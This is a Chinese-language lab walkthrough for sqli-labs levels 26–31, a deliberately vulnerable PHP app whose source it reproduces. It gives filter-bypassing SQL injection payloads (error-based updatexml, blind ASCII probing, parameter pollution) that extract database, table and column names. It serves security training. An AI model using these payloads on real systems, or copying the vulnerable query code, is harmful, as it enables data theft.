sql-lab 26:
在一开始我们先尝试使用?id=1’ and 1=2 – q,发现
在注释过程中 and 和 – q都没有生效,说明它将我们的这些东西都给过滤除去
我们先观察它的源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-26 Trick with comments</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//fiddling with comments
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-26.jpg" />
</br>
</br>
</br>
<img src="../images/Less-26-1.jpg" />
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: Your Input is Filtered with following result: ".$hint;
?>
</font>
</center>
</body>
</html>
发现有这样一串代码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
or可以用 || 或者 oorr 或者 替换掉
and 也以用 && aandnd 或者%26%26替换掉
‘#’ 也以用 or ‘1’='1 替换掉
在这里有一个陌生的符号:\s: 是匹配所有空白符,包括换行,\S 非空白符,不包括换行。也就是说在这里我们无法使用空格 ,\s会将其消掉。
所以我们要想办法使用特殊字符将空格 给替换掉:比如 %0a %a0 或者使用()将其包起来
eg:?id=1’||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||‘1’='1
详情可点击(5条消息) URL特殊字符编码对照表_Danalee_Ay的博客-CSDN博客
做题步骤:
判断库名:?id=1’||updatexml(1,concat(0x7e,(database()),0x7e),1)||‘1’='1
判断表名: ?id=1’||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=‘security’),0x7e),1)||‘1’='1
判断列名:?id=1’||updatexml(1,concat(0x7e,(select(column_name)from(infoorrmation_schema.columns)where(table_schema=‘security’)%26%26(table_name=‘emails’)limit(0,1)),0x7e),1)||‘1’='1
判断数据:?id=1’||updatexml(1,concat(0x7e,(select(id)from(emails)limit(0,1)),0x7e),1)||‘1’='1
sql-lab 27
我们先观察他的源码:发现
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
注释了更多的字符
判断库名:?id=1’and%0aupdatexml(1,concat(0x7e,(database()),0x7e),1)or’1’='1
判断表名:?id=1’and%0aupdatexml(1,concat(0x7e,(seLect%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=‘security’limit%0a0,1),0x7e),1)or’1’='1
判断列名:?id=1’and%0aupdatexml(1,concat(0x7e,(sElect%0acolumn_name%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=‘security’%0aand%0atable_name=‘emails’%0alimit%0a0,1),0x7e),1)or’1’='1
判断数据:?id=1’and%0aupdatexml(1,concat(0x7e,(sElect%0aid%0afrom%0aemails%0alimit%0a0,1),0x7e),1)or’1’='1
sql-lab 28
再次观看其源码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
发现这道题主要注释了“-- q”和 “union select” 的组合,并且 因为 /i 它是不区分大小写的,在这道题中它不允许union select 连起来,那么我们可以尝试使用一些特殊符号来把他们隔开或者使用其他注入
有因为在其源码中:
else
{
echo '<font color= "#FFFF00">';
//print_r(mysql_error());
echo "</font>";
}
所以我们只能使用sql盲注
同时:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
我们发现 i d 的 包 裹 方 式 为 ( ′ id 的包裹方式为(' id的包裹方式为(′id’)
所以在后面的sql注入中使用and(‘1’)=('1
判断库名长度:?id=1’)and(length(database()))=8%0aand(‘1’)=('1
判断库名:
-
?id=1’)and(ascii(substr(database(),1,1)))=115%0aand(‘1’)=('1
返回正常,说明数据库第一位是s
-
?id=1’)and(ascii(substr(database(),2,1)))=115%0aand(‘1’)=('1
返回正常,说明数据库第二位是e
判断表名:?id=1’)and(ascii(substr((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=‘security’%0alimit%0a0,1),1,1)))=101%0aand(‘1’)=('1
判断列名:?id=1’)and(ascii(substr((select%0acolumn_name%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security’and%0atable_name=‘emails’%0alimit%0a0,1),1,1)))=105%0aand(‘1’)=('1
sql-lab 29~31
这类型题如果我们可以使用联合查询和显错注入可以做出来,说明我们的环境没有安装完整,在这里出题人是希望我们安装俩个环境Tomcat(jsp)和apache(php),从而实现我们对参数污染的练习
当然搭建这俩环境太麻烦,所以我们先打开29关的文件夹,发现有个log.php的文件
我们只需要在url栏后面加上login.php即可
参数污染的核心:WEB应对于提交的相同参数的不同处理方式导致
利用参数污染可以改变web应用程序的行为,访问或利用或不可控变量,以及绕过说如验证检查,绕过某些防火墙对于SQL注入的检测
先简单的说一下这类型题的大致思路:首先我们的传参会经过jsp过滤(判断是否存在可以代码)然后在传给php,然后将经过php服务器处理完之后又返回给jsp服务器,从而显示到客户端,所以我们可以利用参数污染的方式给他两个传参,它会将第一个传参给jsp处理,将第二个传参交给php处理。
以29题为例
输入?id=1回显如下:
如果输入?id=1’ – q
输入?id=1&id=2回显如下:
所以存在waf,在第一个参数存在过滤,所以我们可以在id=2进行sql注入
WAF:web应用防护系统别名web应用防火墙,其可以防止WAB应用遭受各种攻击,例如SQL注入,跨站脚本漏洞(XSS)等